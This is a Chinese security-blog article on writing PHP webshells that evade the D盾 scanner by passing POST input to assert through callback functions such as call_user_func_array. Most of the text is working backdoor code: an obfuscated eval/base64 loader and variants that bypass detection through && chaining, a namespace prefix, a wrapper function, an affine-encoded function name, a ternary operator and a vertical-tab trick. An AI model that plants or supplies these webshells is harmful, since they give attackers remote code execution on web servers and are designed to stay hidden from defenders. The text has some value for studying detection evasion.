标题 简介 类型 公开时间
关联规则 关联知识 关联工具 关联文档 关联抓包
参考1(官网)
参考2
参考3
详情
[SAFE-ID: JIWO-2024-2511]   作者: hudie 发表于: [2019-11-29]

本文共 [544] 位读者顶过

#常见的回调函数如下

call_user_func_array()

call_user_func()

array_udiff()

array_filter() 

array_walk()  

array_map()

array_reduce()

array_walk_recursive()

registregister_shutdown_function()

register_tick_function()

filter_var() 

filter_var_array() 

uasort() 

uksort()

[出自:jiwo.org]

接下来我就随机选择一个回调函数简单构造一些免杀马吧。那就直接选择上述第一个call_user_func_array()函数吧,这个函数的作用是调用回调函数,并把一个数组参数作为回调函数的参数,使用说明如下:

call_user_func_array ( callable $callback , array $param_arr ) : mixed

把第一个参数作为回调函数callback调用,把参数数组作param_arr为回调函数的的参数传入。

因此首先我就随便写了一个简单的木马如下:

<?php
    call_user_func_array('assert', array($_POST['a']));
?>

使用最新版本的D盾查杀如下,报了4级可疑:




好了,已经正确表明D盾把回调函数call_user_func_array拉黑了,接下来将是我的重点,介绍如何绕过这种检测。

混淆加密绕过

关于这个混淆加密绕过,我用了一种十分古老的工具"微盾php脚本加密专家"混淆加密,因为方便,哈哈,大家也可以自行混淆加密。直接将我上诉第一次写的D盾报了4级可疑的代码

<?php  call_user_func_array('assert', array($_POST['a'])); ?>


进行混淆加密过后得到了如下结果:成功绕过D盾


<?php // This file is protected by copyright law & provided under license. Copyright(C) 2005-2009 www.vidun.com, All rights reserved.
$OOO0O0O00=__FILE__;$OOO000000=urldecode('%74%68%36%73%62%65%68%71%6c%61%34%63%6f%5f%73%61%64%66%70%6e%72');$OO00O0000=128;$OOO0000O0=$OOO000000{4}.$OOO000000{9}.$OOO000000{3}.$OOO000000{5};
$OOO0000O0.=$OOO000000{2}.$OOO000000{10}.$OOO000000{13}.$OOO000000{16};$OOO0000O0.=$OOO0000O0{3}.$OOO000000{11}.$OOO000000{12}.$OOO0000O0{7}.$OOO000000{5};
$O0O0000O0='OOO0000O0';eval(($$O0O0000O0('JE9PME9PMDAwMD0kT09PMDAwMDAwezE3fS4kT09PMDAwMDAwezEyfS4kT09PMDAwMDAwezE4fS4kT09PMDAwMDAwezV9LiRPT08wMDAwMDB7MTl9O2lmKCEwKSRPMDAwTzBPMDA9JE9PME9PMDAwMCgkT

09PME8wTzAwLCdyYicpOyRPTzBPTzAwME89JE9PTzAwMDAwMHsxN30uJE9PTzAwMDAwMHsyMH0uJE9PTzAwMDAwMHs1fS4kT09PMDAwMDAwezl9LiRPT08wMDAwMDB7MTZ9OyRPTzBPTzAwTzA9JE9PTzAwMDAwMHsxNH0uJE9PTzAwMDAwMHswfS4kT09PMDAwMD

AwezIwfS4kT09PMDAwMDAwezB9LiRPT08wMDAwMDB7MjB9OyRPTzBPTzAwME8oJE8wMDBPME8wMCwxMjYwKTskT08wME8wME8wPSgkT09PMDAwME8wKCRPTzBPTzAwTzAoJE9PME9PMDAwTygkTzAwME8wTzAwLDM4MCksJ0VudGVyeW91d2toUkhZS05XT1VUQWFCY

kNjRGRGZkdnSWlKakxsTW1QcFFxU3NWdlh4WnowMTIzNDU2Nzg5Ky89JywnQUJDREVGR0hJSktMTU5PUFFSU1RVVldYWVphYmNkZWZnaGlqa2xtbm9wcXJzdHV2d3h5ejAxMjM0NTY3ODkrLycpKSk7ZXZhbCgkT08wME8wME8wKTs=')));return;?> 
kr9NHenNHenNHe1zfukgFMaXdoyjcUImb19oUAxyb18mRtwmwJ4LT09NHr8XTzEXRJwmwJXPkr9NTzEXHenNHtILT08XT08XHr8XhtONTznNTzEXHr8Pkr8XHenNHr8XHtXLT08XHr8XHeEXhUXmOB50cbk5d3a3D2iUUylRTlfNaaOnCAkJW2YrcrcMO2fkDApQToxYd

anXAbyTF1c2BuiDGjExHjH0YTC3KeLqRz0mRtfnWLYrOAcuUrlhU0xYTL9WAakTayaBa1icBMyJC2OlcMfPDBpqdo1Vd3nxFmY0fbc3Gul6HerZHzW1YjF4KUSvkZLphUL7cMYSd3YlhtONHeEXTznNHeEpK2a2CBXPkr9NHenNHenNHtL7eWpMfB5jfolvdJn2HeyjCB5

vhtl7eWpZcbO1FM4ICbYzcbk0KX0hgW0hC2ySdy91F2aZb2c1dMYgCbkZCbLPfjExC2yVdZIpRoyZFMy5htOgAr9TaySmCUffhUL7eWP=
 

&&绕过

使用&&符号将所有代码放到同一行来执行

<?php  ($a = 'assert')&&($b = $_POST['a'])&&call_user_func_array($a, array($b)); ?>

简单解释:同一行代码使用&&符号连接是按照从左到右的顺序执行的,所以首先将assert赋值给变量$a,然后将从客户端post过来的参数赋值给变量$b,再使用回调函数调用assert函数,执行从客户端post过来的数据。

命名空间绕过

这个就更简单了,直接在回调函数前加上命名空间反斜杠\即可成功绕过。

绕过代码如下:

<?php  \call_user_func_array('assert', array($_POST['a'])); ?>

函数绕过

随便写个函数,将回调函数藏到函数里面去,将代码执行函数和post的参数通过参数传给函数,即可成功绕过,绕过代码如下:

<?php  function v01cano($aaa,$bbb){  call_user_func_array($aaa, $bbb);  }  v01cano('assert',array($_POST['a'])); ?>

自写加密函数绕过

这个可能比前面的会略微复杂一点点,因为这里我的代码执行函数assert直接传入回调函数被D盾识别了,所以我就需要隐藏assert,隐藏方法太多了,下面我就自己写了个仿射变换隐藏一下assert。

<?php  function encode($para0){  $m=strtolower($para0);  $a = 7;  $b = 21;  $c = "";  for($i=0;$i<strlen($m);$i++)  {  $c=$c.chr((((ord(substr($m,$i,1))-97)*$a+$b)%26)+97);  }  return $c;  }  $a = $_POST['a'];  call_user_func_array(encode('xhhfsw'), array($a)); ?>

自己随便写了个函数就绕过了。

三元运算符绕过

<?php  $a=$_GET['a'];  $b=$_POST['a'];  call_user_func_array($a==$a?$a:$a, array($b)); ?>


垂直制表符绕过

随意选择一个转义符绕过,这里选择了垂直制表符。

<?php  $b=$_POST['a'];  $a="\x0Bassert";  call_user_func_array(trim($a), array($b)); ?>

使用垂直制表符最后要记得使用trim或者其他函数将空格去除即可。


简单介绍到这里吧,仅仅提供一些思路和方法给大家

其实方法太多太多了,还能继续写

静态查杀的弊端已经越来越凸显了

让我们一起向动态查杀进攻吧




使用
[Shǐyòng]
动词use; employ; make use of; apply
名词forthputting
介词under

评论

暂无
发表评论
 返回顶部 
热度(544)
 关注微信